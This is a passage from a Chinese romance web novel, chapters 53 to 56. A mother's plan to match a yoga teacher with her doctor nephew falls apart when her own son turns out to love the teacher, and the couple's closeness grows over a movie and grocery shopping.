没过多久，胡一裕就从医院门口出来, 正在过马路。 胡虹对高雯激动道：“那个就是我侄子，穿白大褂戴眼镜的小伙子, 雯雯你快看, 很帅是不是？” 高雯顺着胡虹指的方向望去, 瞧见一个高高瘦瘦的男子，穿着白大褂, 多少有点职业滤镜, 她点着头肯定道：“的确是一表人才，一看就沉稳。” “是吧？”胡虹听到高雯夸胡一裕, 笑容更深了。 胡一裕走进咖啡厅, 胡虹就站起来挥手：“小裕，在这呢！” 他迈开腿朝胡虹那边走。 “姑姑。”胡一裕礼貌打招呼。 “坐呀。”胡虹坐到高雯身边，给胡一裕腾出位置, 她看着高雯介绍道，“这是雯雯，给我上课的美女瑜伽老师, 特别专业细心。” “你好，我叫胡一裕。”胡一裕自我介绍。 高雯浅笑：“胡医师好，我是高雯。” 两人简单介绍，态度落落大方。 胡一裕把体检报告给胡虹。 胡虹看着他们，那是越看越满意。 “雯雯人很好的，对我又贴心，小姑娘很努力工作，每天都很忙，在网上还有两百万粉丝！”胡虹说完对胡一裕道。 “这么厉害？”胡一裕多少也了解一点，“那不是大网红了？” 高雯连连否认。 胡虹又夸胡一裕：“你也是好孩子，每天救死扶伤很辛苦。” “都是本职工作。”胡一裕笑。 他年纪大了，各种相亲不少，有主动的，有被动的，胡虹这意思，他多少猜出来一点。 “胡医生太过自谦了，你年纪轻轻就这么有成就，让人实在羡慕。”高雯笑着，说话让人听着很舒服。 胡一裕不动声色观察着对面的小姑娘。 高雯的相貌让人惊艳，说话更是软声软语，是他相亲对象中气质最好的，举手投足都带着高雅。 美女都很傲气，胡一裕刚刚第一眼也觉得高雯身上有难以靠近的气息，但她一开口，嗓音清脆，一点都没有架子，很难不让人有好感。 不过，这个小姑娘似乎还没察觉到什么，期间，高雯还问：“眉姐的病看上了吗？” “估计得等一会，李院长还没忙完。”胡一裕说。 高雯了然点头：“我给她打个电话，设计院到点要下班，今天定不下来的话，明天再看看。” 她说着，给徐眉打电话。 高雯在打电话的时候，胡虹看向胡一裕，又看了看高雯。 胡一裕很清楚这个姑姑，藏不住事儿，那眼神，一看就知道什么意思。 说实话，胡一裕最近两年正在升职，没把心思放在婚恋上，但高雯气质绝佳，没有人会拒绝和一个优秀的人接触，哪怕是认识当朋友。 胡虹正绞尽脑汁，想要说点什么给两人找话题，她的手机就响起来。 她一看是方寒。 挂断。 胡虹刚准备要说话，电话又响起。 挂断。 这个臭小子，别坏她好事，机会难得！ 方寒发了微信消息：【接电话，急事。】 胡虹看到这消息，这一次没再挂断，第一时间接起来。 她想到个法子，趁着接电话站起身，往一边走，给两个年轻人独处的空间。 胡虹觉得她真是太聪明了。 电话刚接通，方寒在那头就问：“您在哪？” “我在忙事情，你有事就说，我现在很忙。”胡虹走到一边说。 “您在医院那边？”方寒问。 “你怎么知道？”胡虹诧异。 方寒再一次问：“去找表哥了？” “我来办事情。正经事！” “我在医院门口，你们在哪？”方寒问。 胡虹听得出来他很着急，语气都在喘，不由道，“你这个臭小子，搞什么啊？” 她说着往门口走，想看看方寒是不是真的在。 结果，方寒更眼尖，他不仅看到了胡虹，还看到了窗边坐着相谈甚欢的高雯和胡一裕。 两人都聊上了。 方寒急得发昏，他很快来到胡虹身边。 胡虹还想问问他来做什么，结果方寒直接绕过胡虹，往胡一裕和高雯那边走。 “你干什么？！”胡虹心下一颤，抓紧跑上去。 她看得没错的话，方寒直奔高雯那边的座位，要和高雯坐在一起。 胡虹直接惊呆了，她赶在最后一秒，用最大力气把方寒拉回来，自己坐到高雯身边，冲方寒道：“你怎么一声不吭来了？” 赶紧给她坐胡一裕那边去！ 不要脸！ 方寒坐在了胡一裕身边。 胡虹咬着牙，极力扯出一抹笑，对高雯介绍道：“这是我儿子，方寒，他刚好在附近，就过来了。” 高雯在看到方寒出现的时候，直接懵了，胡虹说话她才稍稍回神。 她看向方寒还是很诧异道：“学长，好巧啊。” “是很巧。”方寒不知道该怎么形容自己此时的心情，他的心如擂鼓，手心都是冷汗。 他完全没想到胡虹口中念叨的那个人是她。 也是了，她那么好。 “你们认识啊？”胡虹茫然。 高雯解释：“我和方寒学长是朋友，他帮了我很多忙，是个很好的人。” “雯雯也是A大毕业的啊？”胡虹都不知道这个。 高雯：“我今年大四，还不算毕业。” “还没毕业就有这样的成就，很了不起。”胡一裕说。 “是吧？雯雯很厉害的。”胡虹看向胡一裕，趁机接着夸，“我都不知道她是A大的，小姑娘好低调，多好啊。” 方寒：“她很有毅力，付出了很多努力，这些都是她该得的。” 他还没说完，胡虹就在桌子底下踢了他一脚，瞪了他几眼。 她让他说话了吗？ 怎么回事？！ 方寒不为所动。 胡虹看向胡一裕道：“小裕啊，雯雯平时也会看医书，还会看康复学，之前上大学还会去医学系旁听课——” “妈，这是人家私事。”方寒打断。 胡虹：“？？？！！！” 她恨不得塞住他嘴巴，这个臭小子到底在做什么？！关他什么事？！ “没关系，我就是感兴趣，所以就旁听了一段时间。”高雯笑着补充，“我们需要用到康复学，要了解原理，多学一点总是没错。” “那也很难得了。”胡一裕眼底带了些欣赏，“难怪我姑姑说你很专业。” 高雯无奈失笑：“阿姨对我的滤镜太深了。” 胡虹一直盯着方寒，见他要说话，先一步道：“你女朋友呢？你们今天没有一起出来逛街吗？” 他最好懂点事！ 不要和今天那个女会员的侄子一样。 那个家伙也是个程序员，说什么要白白高高身材好的，因为雯雯长得好看就变成这样。 很丢人的！想起来就来气！ 此言一出，高雯怔住，看向方寒。 方寒神色眼见慌了，当下反驳：“妈，你胡说什么？我哪来的女朋友？” “你没有女朋友吗？”胡虹再一次问。 高雯那双美眸里也带着疑惑，头微微一歪，很认真等方寒的答案。 “没有。”方寒心都提到嗓子眼，回答得笃定，“我什么时候有女朋友了？您别乱说！” “那是你没说清楚，”胡虹并没当一回事，她又提醒，“你们公司今天好像要加班是不是？” 给她识趣点，赶紧走吧！ “不加了。”方寒想都没想回。 “”胡虹咬牙切齿，如果视线能刀人，方寒现在指定不知道被刀了多少回，她强忍着火气，再一次提醒，“真的不加了吗？不忙吗？” 方寒回答干脆：“不忙。” “”胡虹那叫一个气。 胡虹刚刚点了小吃，服务员端上来。 方寒伸手去接。 放好小吃后，他还给高雯加了点茶，依照胡虹看，他是顺便给胡一裕加的。 她现在才知道，她这个看起来实诚的儿子，也会耍心眼！ 真是够了！ 胡虹直接无视方寒，一直给高雯和胡一裕找话题，方寒总会不合时宜打断。 太过分，真的太过分了。 胡虹刚要炸的时候，徐眉给高雯打了电话，说她已经看好了，正在排队拿药。 高雯看了看时间，估计能赶在设计院下班前去沟通好，就是时间有点赶。 她站起身：“我去医院一趟，眉姐那边快好了。” 几人纷纷站起来往外走。 胡虹故意走得慢，伸手拉住要往高雯那边凑的方寒，她压低声音从牙缝里一个字一个字挤出来道：“我以前怎么没发现你这么肤浅？那眼睛，都要盯人家小姑娘身上去了，丢不丢人？！” 方寒压根没管她在说什么。 他看着高雯和胡一裕走在前面，急得像热锅上的蚂蚁，团团转。 胡虹发现方寒居然还在盯着高雯，头顶都要冒烟了，警告道：“我不管你有什么样的心思，你现在最好不要 有想法！” “管好你自己！别给我丢人！雯雯是我要给小裕介绍的对象，你别给我添乱！” “妈，”方寒扭头回来看向胡虹，黑眸深邃如渊，语调带着罕见的认真，“那是我喜欢的人。” 胡虹被他这幅样子惊到，她瞪了瞪方寒，“你不是不会后悔吗？我给过你机会。” 方寒回答迅速：“我后悔了。” 胡虹瞠目结舌，方寒从小到大做事都胸有成竹，不温不火，很少让她操心。 几乎就没有让他情绪太过于波动的事情，能让他着急成这样，真是稀奇了。 “你后悔又有什么用？我看他们聊得挺好，”胡虹说完还道，“他们两个人很有缘分，非常巧合就见面了，说不定是天造地设的一对。” “您别这样，”方寒神色肉眼可见慌张不安，“那是我喜欢了很久很久的人。” 胡虹被他这副深情厚重的样子吓到，面色都变了变：“你——” 方寒看了眼高雯，拼命压制自己内心波涛汹涌的情感，语气带着无措忐忑，放低姿态：“妈，算我求您一次，帮帮我，行吗？” 他真的没有办法了，一点都接受不了高雯和别人在一起。 光想想人生都是灰暗的。 “我要折寿了。”胡虹倒吸一口气，看着在聊天的高雯和胡一裕，连忙着急上前，硬生生找个借口将高雯挽过来—— 作者有话说：二更见哦。 第54章 第54章 你很喜欢那个姑娘？ 胡虹和高雯往前走, 胡一裕的脚步慢了下来，渐渐与方寒并肩而行。 胡一裕看着心不在焉的方寒，侧头出言道：“你很喜欢那个小姑娘？” 方寒把视线从高雯身迅速上收回来, 神色收敛。 “你的喜欢都要溢出来了, 还有什么好藏的？”胡一裕笑着说。 方寒清了清嗓子：“嗯。” 他就这么大大方方承认，更让胡一裕错愕。 细想来, 方寒刚刚失控着急的模样，当真罕见，胡一裕又笑了, “别担心，那小姑娘估计都不知道你妈存有别的心思, 她不是来相亲的。” 方寒当然知道，不过胡一裕的态度还是让他更加松一口气。 胡一裕临走前, 伸手拍了拍方寒的肩头, 留下一句：“你小子运气不错, 我看得出来，那小姑娘对你应该也有点意思。” 刚到医院门口, 几人都没过多寒暄, 高雯和徐眉就要赶去设计院。 方寒则和胡虹回了家。 一路上，胡虹说话都阴阳怪气, 谁叫方寒这小子气她。 方寒好似什么都没听到似的, 唇角一直勾着，心情看起来相当不错，神清气爽。 胡虹越看越来气。 一进门, 就冲方宏铭道：“你这个儿子，气死我了！” “怎么了怎么了？”方宏铭走出来，率先就骂了方寒一顿, “你怎么惹你妈了？不省心！” “还不是因为雯雯，我今天和雯雯去医院见一裕，他赶来了，你知道他有多不要脸吗？”胡虹一顿吐槽，形容方寒去的时候那个着急，“看雯雯的那个眼神，你是不知道，我都臊了。” 方宏铭还没说话，鹦鹉就叫唤起来了： “雯雯，雯雯是我儿媳妇。” “喜欢雯雯，我喜欢雯雯。” “儿媳妇，雯雯是我儿媳妇！” 方寒看着那只鹦鹉，挑着眼尾笑开，唇角荡漾，从旁边拿过一把鸟食就喂鹦鹉。 “再乱说话，小心你的鸟命！”胡虹见方寒这样一脸春心萌动，鸡皮疙瘩都起来了，叉腰呵斥了鹦鹉一声。 鹦鹉羽毛炸起，害怕后退一步，立刻改口道： “方寒是大笨蛋！” “笨蛋方寒。” “大笨蛋，大笨蛋方寒——” 胡虹：“没错！” “没错，大笨蛋方寒。”鹦鹉有样学样。 方寒一点都不介意，还笑着对方宏铭道：“这只鹦鹉还挺聪明。” “啊？”方宏铭张口呆住，“你脑子不对劲了吧？” 方寒还是笑，走向厨房：“爸，我给雯雯盛点莲子羹带回去。” “等等，为什么是你拿过去给雯雯？”胡虹追上去。 方寒没继续接话了。 尽管是合租，但她一个小姑娘和他住在一套房，传出去他担心影响她的名声。 “凭什么是你啊？”胡虹不服气，“我让你爸给雯雯煮的，你抢什么功劳？” 方宏铭看着这对母子，疑惑蹙眉挠头。 等等。 他们这是看上同一个人了？ * 晚间。 高雯回来时，就看到方寒坐在餐桌上发呆。 他看到她回来后，这才起身，轻声道：“我从家里带了莲子羹，给你盛一点吧？吃了下火。” “嗯。”高雯点头，坐了下来。 高雯现在才忙完，刚刚都没心思消化下午的消息。 方寒盛了一碗莲子羹，放在高雯面前。 高雯看着面前的碗，笑着道：“阿姨今天下午才跟我说，叔叔早上煮了莲子羹，没来得及给我送过来，只能下一次了，结果我还是吃上了。” 她现在都觉得有些不可思议，看向方寒道：“这件事挺巧的。” 胡虹是方寒的妈妈。 一切就是这么巧。 “嗯，真的很巧。”方寒比高雯更吃惊，还多了一层后怕。 “不过，想想也在我的意料之中，”高雯说着又笑了，“我一开始以为你不是本地人，后来你跟我说你是老一辈带大，我又以为——” 高雯没把话说完，她自己都觉得她想象力丰富。 高雯吃了口莲子羹，笑意上扬，“你妈是个很可爱的阿姨，我能猜出来你的家庭氛围很好。” 只有那么好的家庭氛围，才能养出方寒这样的性子。 这是高雯认识他之初就感受到的。 “她说你是个很好的小姑娘，她很喜欢你。”方寒说话的时候，炽热的视线落在高雯的脸上。 不光胡虹这么觉得，他也这么觉得。 她真的很好。 “对，可能是因为我脾气好，”高雯点头，忍不住低低轻笑出声，“她说她有个姐妹儿子娶了儿媳妇，不仅把钱花光了，儿媳妇还天天骂人，她怕被儿媳妇打骂，说起来很委屈，我看得出来她真的担心。” 方寒头顶一排黑线：“” 高雯继续吃莲子羹。 方寒看着她，脑海里都是胡一裕今天和他说的话，心跳都抑制不住加速。 高雯下午都在忙，还没吃饭，很快吃完了那碗莲子羹。 “你还吃吗？保温瓶里还有。”方寒说。 “不吃了，晚上要少吃甜。”高雯摇头，拿着碗起身，往厨房走。 方寒跟上去：“我来洗。” “不用。”高雯觉得那样也太过分了。 一个碗而已。 “我从小就洗碗，比较熟练。”方寒说着，从她手里就把碗拿过去。 “这样不好。” 高雯不太好意思，拿着碗闪躲了下，结果方寒抓上了她的手背。 两人齐齐僵住，耳朵泛起红晕。 狭小的厨房内，暧昧四起。 “没事。”方寒趁高雯愣神之际，把碗拿了过去，“最近天气冷了，水凉，你还是少碰冷水比较好。” 不然生理期又该疼了。 高雯看着他在水池边洗碗，一股暖流往心底最柔软的方向流淌，悄然塌陷一小块。 她看到厨台上那个熟悉的保温瓶，找了话题，“这个保温瓶，看着好熟悉。” 方寒：“我妈给你买的，我爸说除了你，谁都不能用，不然就是胆大包天。” “噗嗤——”高雯靠在厨台上笑出声，“阿姨真可爱。” 胡虹自那天后，绝口不提给高雯打探什么优质对象。 方寒算不上最优质，所以她要力争做一个高分的婆婆，以此来弥补自己儿子的不足！ 张妮几人发现胡虹更加“殷勤”了，不仅会早上给高雯送粥，下午还要送汤，担心高雯不能连续吃，偶尔还会做中式减脂餐，天天都送剥好的水果。 几乎涵盖一日三餐。 大家原本以为就是这一两天，结果胡虹风雨无阻，每一天都送。 张妮不得不给方寒发消息：【那个阿姨太猛了，她这是为了自己的儿子都豁出去了，敌人相当狡猾！】 方寒看到这条消息，眼底溢满愉悦之色：【嫂子，那是我妈。】 张妮眼睛瞪圆：【什么？！！！】 高雯下课出来，就看到张妮和胡虹坐在休息区，手拉着手，一副相见恨晚的神色，胡虹笑得眼角细纹都要多出两条。 “聊什么呢？这么开心。”高雯走到前台拿会员资料。 “哎哟，大家都认识的，都是一家人。”胡虹笑得那叫一个开心，“都是缘分啊，几辈子的缘分！” 高雯翻开会员资料做了记录，半开玩笑道：“这下更熟悉了，上课更能相约着‘偷奸耍滑’了。” “哪有。”张妮否认。 会员来了，高雯往教室走：“我先去上课了 。” “去吧去吧。”胡虹看着她的身影，面容慈爱。 等高雯一关门，胡虹和张妮立刻埋头蛐蛐。 张妮挤眉弄眼：“我早就发现他喜欢雯雯了，开会的时候，那个眼神，就一直盯着她看，我还拍了照片，我给您看。” “啧啧啧，我那天也看到了！”胡虹捂脸，“真的是，真的是，真的是一点都不藏着啊。” “阿姨，他藏不住啊，他以为他藏了，哈哈哈——” “哎——” “他可喜欢雯雯了，你要帮他。” “我知道我知道。” 林思悦在一旁竖着耳朵听八卦，津津有味。 回家吃饭时，林思悦还顺口提了一嘴：“那个阿姨和他儿子同时喜欢雯雯姐，真是超搞笑，馆里的人都知道阿姨想让雯雯姐当儿媳妇，这下他儿子身边的人也知道，他喜欢雯雯姐。” “那个雯雯喜欢她儿子吗？”林母好奇问。 正在吃饭的林珩放慢动作。 “不知道啊。”林思悦摇头，“雯雯姐事业心很强，没听她说她要谈恋爱。” 林珩继续吃饭。 要喜欢早喜欢了，方寒和高雯这么相处的时间不短了—— 作者有话说：卡文所以来晚了。大家晚安哦。 第55章 第55章 高雯怎么来A市了？ 周六下午。 高雯没去瑜伽馆, 她请了半天假，等待论文导师开线上会。 没开会之前，她还在可以和方寒有说有笑, 聊起房子续约的事情, 方寒说道：“我已经和房东都说了，他也回复了, 说是会准备合同，等月底他去旅游回来再签。” 他说完又出口：“他性子有些慢热，我估计他会拖到最后一天。” “没关系啊, 我不着急，不租给别人就行。”高雯笑, 她低头看着一叠厚厚的论文资料，正在拼命复习, 以免一会导师问的时候回答不上来。 线上会议开始的时候, 高雯戴上耳机, 方寒坐在她对面，没有再说话。 尽管高雯预料到会被骂, 但她没想到导师能不带脏骂了三个小时, 导师大骂他们是各种“拼接怪”、“缝合怪”、“狗屁不通怪” 每个人都战战兢兢，高雯还算认真, 大概是导师骂到最后, 脾气都不好了，也没好脸色。 初稿本身就有很多问题，挨骂太正常。 方寒心思不在工作上, 全程围观高雯，见她面色沉重，起身切了点芒果, 放在她手边。 “拿走拿走。”高雯眼底一缩，无声拒绝，她哪敢吃东西，连忙推开。 导师都没喝水，她更不敢喝。 这不是找死吗？ 历经三个小时，线上会终于结束，高雯合上电脑，整个人直接趴在桌面上，两眼无神，一副被摧残得不行的模样。 “唉——” 在高雯又一次叹气后，方寒把切好的芒果推到她手边，含笑轻声道：“没事，这一次骂后，下一次导师就平和多了。” 方寒虽然听不到会议内容，但能猜得到。 谁没经历这一遭呢。 “不许笑。”高雯正心思沉重，看到方寒一副轻描淡写的模样，重新坐直身体，她苦着脸瘪嘴道，“不嘲笑别人也是一种善良。” “每个人都有每个人的经历，你这种高材生体会不到！” 方寒：“我——” “你不会理解我的痛苦，比上一百节课更痛苦。”高雯提高了声调打断他，抱着她的论文资料又趴下去，桌子底下细长纤细的腿还蹬了两下，拖长语调嚎了一声，“我想哭，你知道想哭的感觉吗？我很难受。” 方寒见她心情的确不好，提议道：“我带你出去走走吧？” “我不去。”高雯说着抱紧她的论文。 “你待在这里心情会更不好，去走一走，回来心情就好了，不要一直陷入焦虑的情绪和烦恼中，换个环境。我写不出论文都这样。”方寒又说。 高雯抬眸，将信将疑看向他。 “真的，我不骗你。”方寒眼眸深黑，带着一望到底的清亮柔和。 “我不想出去，我的心情很抑郁。” “走啦。”方寒站起身，走到高雯身边帮她收拾资料，插起一块芒果递到她手里，“吃点水果缓缓，我们出去走走，一会回来心情就好了。” 高雯把芒果往嘴里送，一口咬下去，汁水甘甜，她拖着脚步往门外走。 “外面冷了，要不要穿件外套？”方寒问。 高雯摇头，继续往外走。 方寒小跑着回自己房间，拿了件外套才出去 走到楼下，高雯呼吸着新鲜的空气，紧蹙的眉毛松了松。 两人沿着小区的小道，一直慢悠悠走着，原本只是在小区散步，走着走着，就往小区走，一路去了他们之前逛的夜市一条街，意外发现，对面的小巷子，下午也很热闹。 道路的两旁都摆满了小摊位，不仅有卖瓜果蔬菜的，还有卖各种小吃甜品，卤味炸串应有尽有。 “香蕉，1.99一斤，便宜大甩卖。” “海城绿橙，十元三斤，十元三斤，快来快来。” “走过路过不要错过，烤鱼烤鱼，香喷喷的烤鱼。” 高雯站在路口，看着人来人往，热闹不已的街道。 以前她不会来这样的地方，就连方寒，也开口说：“往下走吧，下一个路口处有个生鲜大超市。” 高雯摇头，她转身往小巷子里走。 不知道为什么，她现在觉得这样的地方，格外有烟火气，不远处是耸立的高楼大厦，光鲜亮丽的商场，隔得不远，就存在这么平民化的地方。 物价便宜，水果新鲜，带着生活气息。 小巷子人很多，方寒紧跟在高雯身后，他问道：“你要买什么吗？” 高雯：“随便看看。” 她总不能告诉方寒，她想多沾染一些活人气息。 很多时候，高雯都会产生不太真实的感觉，她也想打破所谓“剧情”对自己的束缚，去做自己以前从未做过的事情，事实上，她并未反感这样的地方。 方寒并未继续追问，而是陪着她慢慢走。 高雯逛了一圈，花五块钱买了三块手工蛋糕。 她吃一块，方寒吃两口。 现场制作，用料扎实，一点都不比蛋糕店和餐厅的口味差。 很多东西高雯并不认识，方寒都能说出一二，她忍不住问：“你常来这种地方吗？” “小的时候常来，”方寒点头，“这种地方藏在各个小巷，会有些当地传统美食，不过主要是便宜又新鲜的本地瓜果蔬菜，老人家不喜欢琳琅满目的大超市，而且超市卖东西，相对贵一点。” 老一辈过了不少苦日子，日子非常节俭，小巷子里的瓜果蔬菜新鲜又便宜。 高雯了然，她忘了方寒是被老一辈带大的。 不过胡虹是个很开明的母亲，看方寒这样，也不存在什么“留守儿童”的心理问题，非常健康。 小巷不算长，穿过之后，是宽大的街道，又有一个大商场。 天色渐黑，商场亮起炫目的灯光。 两人往商场里走。 这里和刚刚的小巷是截然不同的两个世界。 一楼主要售卖汽车、手机、珠宝。 高雯对汽车手机不感兴趣，但往珠宝柜台走过时，难免会被绚丽璀璨的珠宝吸引，这种华丽的东西，对她还真有天然的诱惑力。 高雯原本并不打算停留，她的视线被一条钻石项链吸引，慢慢停住脚步。 非常小巧的设计，圆形的设计烘托中央的主钻，精致典雅，适合时常佩戴。 导购眼尖，立马上前：“小姐姐，这是我们店回来的最新款，纯手工切割制作，喜欢可以试戴。” “不用了谢谢。”高雯婉拒。 离开前，她还是下意识看了眼价格：118888 价格并不亲民，但还好，现在的她，倒不觉得遥不可及。 她的性子还是如此，喜欢昂贵绚丽的东西。 不过，她也能买得起，这似乎是一件更值得开心的事情。 高雯想着，唇角扬起一抹浅浅的笑，侧头看向方寒：“我请你看电影怎么样？” 方寒见她笑得愉悦，余光不自觉多看了两眼那条项链，点着头：“可以啊，你想看什么电影？” 她请他看电影，他总要回报点什么。 他记得她生日就在下个月初。 “都可以啊，看看最近有什么热门的电影，”高雯说着，要往扶梯走，见方寒走得慢，她伸手拉上他的衣角，往那边带，“我们去看看电影院在几楼。” 方寒被高雯拉着走，他回头看了眼店名记下。 电影院内。 现在的时间是热门场，好的位置基本没了，剩下的位置比较靠前。 高雯和方寒刚坐下来，电影就开了场。 离得近，屏幕的灯光折射，自然就亮很多。 两人象征性买了一小桶爆米花和两杯果汁，规规矩矩坐下来。 方寒刚坐下，高雯就凑过来问：“你常来电影院吗？” “没有。”方寒摇头，“极少。” 印象里，估计就几次，还是以前学校组织的。 高雯原本很尴尬，听他这么说，脸色倏然放松了，像是找到了志同道合的朋友，立即笑道：“我也很少，屈指可数，除非有组织必须来。” 她没什么好朋友，也没谈过恋爱，倒是有不少男同学约她来，她才不搭理。 这几年一直忙着赚钱学习，更不可能一个人来电影院。 听高雯这么说，方寒唇角上挑。 坐得正儿八经看电影的两人，丝毫没想到会被两对情侣包围。 饶是屏幕前灯光很亮，也阻挡不了恋爱的酸臭味。 电影转场，灯光暗了些，高雯往方寒手里的爆米花桶伸去，突然看到方寒身后的那对情侣亲了一下，还发出“啵”的一声。 高雯呆住：“？？？？” 男生甚至道：“宝贝，再亲一下。” 高雯：“？？？？” “啵——” 方寒明显也听到了，他不自然清了清嗓音，拿着果汁问她：“喝果汁吗？” “宝宝，”高雯刚好接过来，她的身后传来一阵软软的撒娇声，“给我喝一口果汁好吗？爱你爱你！” “？？？？”高雯快速接过果汁，僵着身子坐着。 方寒也坐得端正，目视前方。 两人哪还看得进去电影，身子绷着，听力变得格外灵敏： “宝宝，给我喂一口薯条。” “亲一下，啵——” “啵啵啵——” “讨厌啦，别摸。” 如果给高雯一次重新选择的机会，她绝对不会请方寒来看电影。 没人告诉她，一对对情侣会在电影院这么大庭广众之下，做一些偷偷摸摸的事情。 很过分的好吗？ 方寒也不知道，他的耳尖发烫，全然无措，甚至不敢看高雯，一点逾越的举动都不敢有。 这一场电影，对两人来说，都算是煎熬，满脑子乱糟糟。 终于熬到电影结束，高雯一起身，方寒跟着起身。 旁边的两对情侣还意犹未尽，一直半抱着。 高雯快速往出口走，方寒跟上。 她走得急，下台阶的时候身子晃了晃。 “慢点。”方寒有力的手扶了她一把，高雯的身子立刻稳住，她白皙娇嫩的脸蛋同时滚烫起来，加快脚步留下一句，“我去趟洗手间。” “好。” 高雯在洗手间的镜子前平复好一会，这才走出来。 方寒就站在外面等，脸上也没一丝不耐烦，一如既往温润柔和，见她出来，慢步往她走来。 高雯能感觉到，就在瞬间，她的心跳有所变化。 那是她从未有过的感觉。 “走吧。”方寒说。 高雯：“我们要回去了。” 方寒点头。 两人往扶梯走，高雯先上去，方寒紧随其后，两人站在同一阶，距离一下拉近，并肩而站。 临近楼下，扶梯突然抖了抖，高雯抬手下意识抓住方寒手臂。 而他的反应更快，伸手要扶住她。 两人：“” 高雯看着她抓着方寒的手，故作自然松开，小声道，“吓我一跳。” 下了扶梯，高雯加快脚步往前走，她意识不到自己走得有多快，方寒腿长，跟着倒也不费劲。 出了商场门口，一股冷风袭来，高雯才感觉到凉意。 只不过，下一秒，一件外套就披在她身上：“天冷了，穿着吧，小心着凉了。” 高雯看着披在自己身上的外套，没有拒绝，偏头对方寒笑道：“谢谢。” “走吧。” 两人并肩往路边走，就在他们身后不远处，宋洁抱着一个小女孩小跑追上去，想要看得更清楚，一眨眼，却不见了人影。 宋洁杵在原地，脸上带着慌乱，尘封的记忆涌现。 她怎么好像看到了高雯？ 高雯怎么来A市了？—— 作者有话说：这本书不会写得很长，目前的打算是这个月会完结正文，有一个几万字的婚后小番外，然后还会有一个前世番外篇。 下个月完结。 下一本开《虐文女配人设崩了》，等忙过这段时间，会把详细的简介放上去，求一个预收哦。 第56章 第56章 听你的。 公司里。 顾书杰吃着他的汉堡下午餐点配咖啡, 慢悠悠走到方寒工位旁。 “方工，最近心情不错啊——”顾书杰说着，大口咬了汉堡。 方寒唇角含着笑意：“还行。” 他的心情的确很好。 “有什么喜事, 说来听听？”顾书杰刚刚说完, 手上的咖啡一个没拿稳，他“欸”了一声, 连忙握住，而后瞧见方寒第一时间伸手护住他的运动手表，挑眉道, “这个手表，是有什么特别的寓意吗？这么紧张。” 方寒没回答。 “雯雯老师送的？”顾书杰凑过去问。 方寒还是没接话, 伸手去拿保温杯，打开盖子喝水。 顾书杰盯着他手上淡蓝色的保温杯：“你嫂子说, 她们瑜伽馆做活动就送这个保温杯, 还不便宜。这个杯子, 不会也是雯雯老师送你的吧？” “项目我发给你了，你看了吗？”方寒转移话题。 “哎——”顾书杰放下咖啡, “人在被看穿的时候, 会故意转移话题。有意思，你现在都会藏着掖着了, 学坏了啊。” 方寒：“” 他以前怎么没发现顾书杰这么八卦？ 顾书杰喝了口咖啡, 看着方寒道：“你说你们都这样了，直接在一起啊，是不是你还没表白？” 方寒眸光里流露深思。 “你不会不懂怎么表白吧？”顾书杰低头看着方寒问。 方寒也看向他, 眼神带了一丝请教。 顾书杰笑出声，“终于有点你不知道的东西了，方工啊方工, 这个世界还是公平的。” 方寒看着顾书杰的背影，剑眉拧了拧。 嘲笑就嘲笑，没见给点建议，属实是有点不道德。 方寒又喝了口温水，他看着保温杯，没了继续工作的心思，拿过手机，给高雯发了条消息：“一会下班要一起去逛超市吗？” 高雯并未快速回复。 她白天都很忙，通常是一节课接着一节课，有时候两三个小时后才回。 饶是知道如此，方寒给她发消息后，还是没忍住隔几分钟看一次。 这一次倒回得很快，十分钟后方寒的手机亮了起来。 他第一时间拿过来看。 高雯：【可以啊。】 方寒看到这句话，眼底露出笑意，说明她很乐意。 高雯又发了一句：【换个超市，去你上次说的生鲜大超市看看？】 方寒没犹豫：【听你的。】 因为有了这个约定，顾书杰再次走来时，瞧见方寒神采奕奕，比刚刚还心情愉悦，工作很有干劲。 “年轻就是好啊。”顾书杰感慨一句 方寒和高雯原本约好八点，等她下课后去，高雯今天的课提前，六点四十就结束了。 两人散着步，方寒带着高雯，走了一条她之前没走过的小道。 没走多远，就来到那家生鲜大超市。 进超市后，方寒推了辆购物车。 “你来过这吗？”高雯侧头问他。 “没有。”方寒摇头。 “那挺好，可以一起探索。”高雯现在很喜欢这种地方，不过她一个人也不会来，如果是和方寒，那就很好了。 “好。”方寒跟在她身后，笑容爬上眼角。 高雯和他闲聊着今天发生的事情，自从知道胡虹是方寒的妈妈，他们之间聊天的话题又多了一条，她轻笑：“今天阿姨来上的小课，她很开心，我有点不开心。” “怎么了？”方寒问。 高雯轻笑又无奈：“只要她一个人在，绝对能煽动班里其他四个人一起偷懒，她哄大家开心很有一手，课上很欢乐，只有老师不欢乐。” 胡虹做姿势的时候，稍微有点疼，她会一直要求饶，姿势太难的话，她要请求做她喜欢的姿势，就像个老小孩，委屈巴巴和高雯撒娇。 其余人看到就跟看话剧一样，哈哈大笑。 这么一来，课的进度就耽搁了。 方寒扶额：“我能想象出来，让你费心了。” “还好，和她一起上课的，性子都差不多，她们觉得很欢乐。”高雯特意把这几人安排在一起，毕竟每个会员的需求都不一样。 方寒轻笑：“她的身体和状态比之前好多了，一直说是你的功劳。” “也没有啦，”高雯说起这个，神色有些收敛，她垂着眸，看向自己的脚尖，“阿姨对我很好，今天早上还给我送了银耳粥。” 面对胡虹的热情，高雯如今都觉得有些难以适应，总觉得受宠若惊。 “怎么还是这些？”方寒笑，“她托我找人买了冬虫夏草，没给你炖了补一补吗？” “啊？”高雯受宠若惊，“别，我不需要进补。” “我不知道她的安排，没过问。”方寒没继续和她聊这个话题，两人走到面食区，他问她，“家里的面食没了，你喜欢吃哪种面？玉米面？荞麦面？还是淮山面？” 高雯看着一排排不同的面食，仔细挑选：“我看看。” 方寒：“看吧，选你喜欢吃的。” 高雯挑选了她一款她想尝试的面饼：“我想吃葱油拌面。” “可以，什么时候吃呢？一会？还是明天早上？”方寒温声道。 “看你方便的时候啊，”高雯把那袋面饼放在购物车里，“我总不能提太多要求吧？这样显得很过分欸？” 她又不帮忙，每次都是方寒在厨房忙活。 要是还有那么多要求，这不是很过分吗？ “是建议，你可以提建议，”方寒接着话，“想要进步的人，都会虚心接受别人的建议，我是比较想进步的人，所以有建议你一定可以提。” “扑哧——”高雯被他一本正经的话逗笑，她抬眸望向他，“我想明天晚上吃。” “嗯，好。”方寒没有犹豫便答应下来，他推着车往前走，“你今天晚上想吃什么？” “去看看啊。” “走吧。” 两人原本只想买点食材，逛着逛着，逛到生活用品区。 方寒用的碟子碗筷都比较简单随意，高雯却是个精致的人，她早就想买成套的，两人细细选了一套，还买了一些餐桌小摆件，还有一套调味瓶的盒子。 看着购物车里的瓶瓶罐罐，方寒拿起来看，有些小玩意他也是第一次见。 “你会不会用不惯？”高雯轻声征询。 “不会，挺好的。”方寒否认，“我只是没注意到这方面。” 